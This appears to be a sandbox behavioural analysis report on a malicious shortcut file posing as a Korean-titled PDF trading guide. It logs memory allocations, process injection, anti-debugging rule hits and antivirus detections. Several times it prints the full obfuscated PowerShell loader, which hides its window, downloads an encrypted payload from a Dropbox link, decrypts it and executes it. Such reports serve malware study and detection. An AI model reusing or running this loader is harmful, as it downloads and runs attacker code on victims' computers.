allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"
cmdline "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 1784
thread_handle: 0x00000334
process_identifier: 2184
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"
filepath_r: C:\Windows\system32\cmd.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000033c
1 1 0

CreateProcessInternalW

 thread_identifier: 2336
thread_handle: 0x00000084
process_identifier: 292
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\5hlmrpb4.cmdline"
parent_process powershell.exe martian_process "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\5hlmrpb4.cmdline"
Process injection Process 3036 resumed a thread in remote process 2184
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2184
1 0 0
option -nop value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noninteractive value Prevents creating an interactive prompt for the user
option -nop value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noninteractive value Prevents creating an interactive prompt for the user
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Lionic Trojan.WinLNK.Boxter.4!c
CTX lnk.trojan.generic
Skyhigh BehavesLike.Dropper.tb
VIPRE Heur.BZC.YAX.Boxter.819.5DF0D1DD
Sangfor Trojan.Lnk.Agent.Vac6
Arcabit Heur.BZC.YAX.Boxter.819.5DF0D1DD
VirIT Trojan.LNK.Heur.A
Symantec Scr.Mallnk!gen13
Avast LNK:Agent-HY [Trj]
Kaspersky HEUR:Trojan.Multi.Powecod.i
BitDefender Heur.BZC.YAX.Boxter.819.5DF0D1DD
MicroWorld-eScan Heur.BZC.YAX.Boxter.819.5DF0D1DD
Rising Trojan.PSRunner/LNK!1.DB7E (CLASSIC)
Emsisoft Trojan.PowerShell.Gen (A)
Sophos Troj/LnkObf-T
SentinelOne Static AI - Suspicious LNK
FireEye Heur.BZC.YAX.Boxter.819.5DF0D1DD
Google Detected
Kingsoft Script.Troj.CMDLnk.22143
ZoneAlarm HEUR:Trojan.Multi.Powecod.i
GData Heur.BZC.YAX.Boxter.819.5DF0D1DD
AhnLab-V3 Trojan/LNK.Powershell.XSG12
VBA32 Trojan.Link.Crafted
AVG LNK:Agent-HY [Trj]
alibabacloud Trojan:Multi/Powecod.i